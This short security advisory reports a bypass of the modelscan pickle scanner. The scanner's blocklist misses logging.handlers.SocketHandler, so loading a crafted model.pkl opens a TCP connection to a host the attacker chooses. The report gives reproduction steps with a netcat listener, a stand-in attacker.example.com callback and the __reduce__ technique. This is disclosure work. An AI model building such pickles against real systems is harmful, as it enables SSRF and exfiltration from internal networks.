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Modelscan Bypass: logging.handlers.SocketHandler SSRF

Summary

logging.handlers.SocketHandler is NOT in modelscan's blocklist. On unpickle, it immediately attempts a TCP connection to the specified host:port.

Impact: HIGH (SSRF/Data Exfiltration)

Attacker can exfiltrate data from internal networks by pointing the handler at internal services.

Reproduction

modelscan scan -p model.pkl
# Output: "No issues found"

# Start a listener:  nc -l 9999
python3 -c "import pickle; pickle.load(open('model.pkl','rb'))"
# TCP connection made to attacker.example.com:9999

PoC Details

File: model.pkl (68 bytes)
Technique: __reduce__ returns (logging.handlers.SocketHandler, ('host', port))
modelscan version: 0.7.6

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